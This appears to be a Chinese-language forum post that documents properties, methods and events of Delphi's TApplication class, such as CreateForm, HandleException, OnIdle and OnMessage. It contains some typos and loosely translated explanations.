  使用UpdateFormatSettings属性应用程序可以控制自动更新格式设置。 TApplication的构造器置该属性为True。当应用程序收到消息WM_WININICHANGE时将检查 UpdateFormatSett-ings属性。建议使用默认的格式设置,也就是Windows本地的设置。可以置UpdateFormatSe-ttings False以避免在Delphi应用程序执行期间改变格式设置。

112属性 UpdateMetricSettings

属性UpdateMetricSettings属性指明是否对提示窗口字体和图标标题等相关设置进行更新。定义如下:

  property UpdateMetricSettings: Boolean;

  UpdateFormatSettings属性指明系统中提示窗口字体和图标标题等设置改变是否反映到应用程序中相关设置的改变。 TApplication的构造器置UpdateMetricSettings的初始值为True

2、方法

21方法 BringToFront

方法BringToFront设置应用程序中最近一次的活动窗口到桌面上所有窗口的最前端。其定义如下:

  procedure BringToFront;

  用BringToFront方法可以找到属于主窗体的最近一次的活动窗口并且将其置于最前端。 BringToFront方法也可以测试和查看一个窗口在成为最前端窗口之前是否是可见 (Visible) 和有效的(Enabled) 例如,当应用程序收到邮件时,可能需要将专门的处理程序激活并置于Windows 桌面的最前端。这时就可以调用Application.BringToFront 方法来实现。

22方法 CreateForm

  方法CreateForm方法用于创建新的窗体(form) 。定义如下:

  procedure CreateForm(FormClass: TFormClass; var Reference);

Delphi应用程序总会调用CreateForm 方法。因此程序员很少有必要直接调用CreateForm方法。一个典型的Delphi工程在工程的主体代码部分包括一处或多处调用CreateForm 方法,并且在使用窗体设计器时自动控制窗体的创建。也可以在运行时可以调用CreateForm方法来动态创建窗体。CreateForm 方法根据FormClass 参数创建一个新的指定的窗体并且将窗体赋予到变量参数Reference 新创建的窗体的所有者就是对象 Application 应用程序将第一个调用CreateForm 创建的窗体默认为工程的主窗体。

23方法 HandleException

  方法HandleException为应用程序的异常提供默认的句柄。定义如下:

  procedure HandleException(Sender: TObject);

方法HandleException 对于编写特定组件的作者来说是很有用的,因为它可以产生一个不必对 Windows 消息产生响应的事件。在应用程序中可以利用OnException 事件句柄将其它的异常操作控制在自定义的代码中。在应用程序代码中,如果异常跳过了所有的 try 块,那么应用程序将自动调用HandleE-xception方法,并将显示一个提示有错误发生的对话框。除非异常对象是EAbort ,此时Han-dleException将调用OnException句柄( 如果存在),否则将调用ShowException显示一个提示有错误发生的对话框。

24方法 UnhookMainWindow

UnhookMainWindow方法用于释放由HookMainWindow 方法挂在主窗体的程序。定义如下:

  type TWindowHook = function(var Message: TMessage): Boolean of object;

  procedure UnhookMainWindow(Hook: TWindowHook);

UnhookMainWindow可以释放挂钩窗口。在参数 Hook中指明对话框过程。  TwindowHook 类型是调用HookMainWindow方法的参数。该参数是非 Delphi对话框中调用对话程序的方法指针。对话程序与窗口程序相似,都是为对话框处理消息,只是语法不同。

3、事件

31事件 OnActivate

  当应用程序成为活动状态时OnActivate事件发生。定义如下:

  type TNotifyEvent = procedure (Sender: TObject) of object;

  property OnActivate: TNotifyEvent;

OnActive事件编写一个事件句柄来完成当应用程序成为活动状态时指定特别的处理。当一个 Windows 应用程序最初运行时或其焦点从另一个Windows 应用程序转移回到当前应用程序时,该应用程序成为活动状态。

32事件 OnDeactivate

  当应用程序成为非活动状态时OnDeactivate事件发生。定义如下:

  type TNotifyEvent = procedure (Sender: TObject) of object;

  property OnDeactivate: TNotifyEvent;

在应用程序成为非活动状态之前可以立即触发OnDeactive事件,从而完成在该事件句柄中指定的特别处理。当用户从当前应用程序转换到另一应用程序时,当前应用程序的 OnDeactive事件即发生。

33事件 OnException

  当应用程序中的某个无句柄的异常发生时事件OnException发生。定义如下:

  type TExceptionEvent = procedure (Sender: TObject; E: Exception) of object;

  property OnException: TExceptionEvent;

  可以通过OnException 事件来改变在应用程序中无句柄的异常发生时的默认动作。在方法 TApplication.HandleException方法中,OnException 事件句柄被自动调用。

  OnException 事件仅用于处理在进行消息处理时发生的异常。在 Application.Run 执行前或执行后发生的异常不会导致OnException事件发生。

  如果某个异常在应用程序代码的try 块中被忽略,那么应用程序将自动调用 HandleException方法。除非异常对象是EAbort,此时HandleException 将调用 OnException句柄(如果存在) 否则将调用ShowException 显示一个提示有错误发生的对话框。TExceptionEvent类型是OnException 事件的类型,该类型在应用程序中指向一个处理异常的方法。参数Sender是引发异常的对象,而参数E 是异常对象。

34事件 OnHelp

  当应用程序收到帮助请求时OnHelp事件发生。定义如下:

type THelpEvent = function (Command: Word; Data: Longint; var CallHelp: Boolean): Boolean of object;

  property OnHelp: THelpEvent;

  用OnHelp编写一个事件句柄以完成有请求帮助时特别的处理。HelpContext 方法和HelpJump方法自动引发OnHelp事件。在事件发生之后置 CallHelpTrue使VCL调用WinHelp ;置CallHelpFalse以防止VCL 调用WinHelp Delphi应用程序中所有与帮助有关的方法都经过OnHelp 事件。仅当OnHelp事件中的CallHelp参数返回TrueOnHelp事件没有被指定到有效的句柄时,WinHelp被调用。

35事件 OnHint

当鼠标指针移动经过某个控件或菜单项并且该控件或菜单项能够显示帮助提示时,事件OnHint发生。定义如下:

  type TNotifyEvent = procedure (Sender: TObject) of object;

  property OnHint: TNotifyEvent;

  用OnHint编写的事件句柄能够在OnHint 事件发生时执行指定的操作。当用户停放鼠标指针在某个控件上,并且该控件的Hint属性值不是空串(''),这时OnHint 事件将发生。通常用OnHint事件显示控件或菜单项Hint属性的值作为某个面板控件(TStatusBar)的标题,因此把面板(panel) 用作状态栏(status bar) 。当OnHint事件发生时,Hint属性通常被指定为一个帮助提示(Help Hint) 和一个在别处显示的长提示(longer hint)

36事件 OnIdle

  当应用程序成为空闲状态时OnIdle事件发生。定义如下:

  type TIdleEvent = procedure (Sender: TObject; var Done: Boolean) of object;

  property OnIdle: TIdleEvent

  用OnIdel编写一个事件句柄当应用程序空闲时完成指定的操作。当应用程序不执行任何代码时即为空闲的。例如,当应用程序等待用户输入时该应用程序是空闲的。   TIdelEvent类型是OnIdel事件的类型,它指向一个当应用程序空闲时运行的方法。对象TIdelEvent 有一个默认为True的布而变量Done。当Done True时,Windows API 函数WaitMessage将在 OnIdel返回时被调用。WaitMessage 使其它应用程序得到控制焦点直到应用程序的消息队列中出现一条新的消息。当参数DoneFalse 且应用程序不忙时,应用程序不会使其它应用程序得到控制焦点。当应用程序转为空闲状态时,OnIdel事件仅发生一次,直到参数 Done置为True才可能发生下一次OnIdel事件。应用程序置 DoneFalse消除了紊乱的CPU时间计数,而该计数可能影响整个系统的性能。

37事件 OnMessage

  当应用程序收到WINDOWS 消息时产生,定义如下:

  type  TMessageEvent = procedure (var Msg: TMsg; var Handled: Boolean) of object;

  property OnMessage: TmessageEvent

      用于接收WINDOWS 消息,该事件能接收程序向WINDOWS发送的所有消息。应用程序接收到一个消息时产生该事件。变量MsgWINDOWS 消息类型。





--
时间这种东西,你要是不消磨它,它就要消磨你
http://www.ist.cn/
http://www.joyspaces.com
http://www.thinkle.com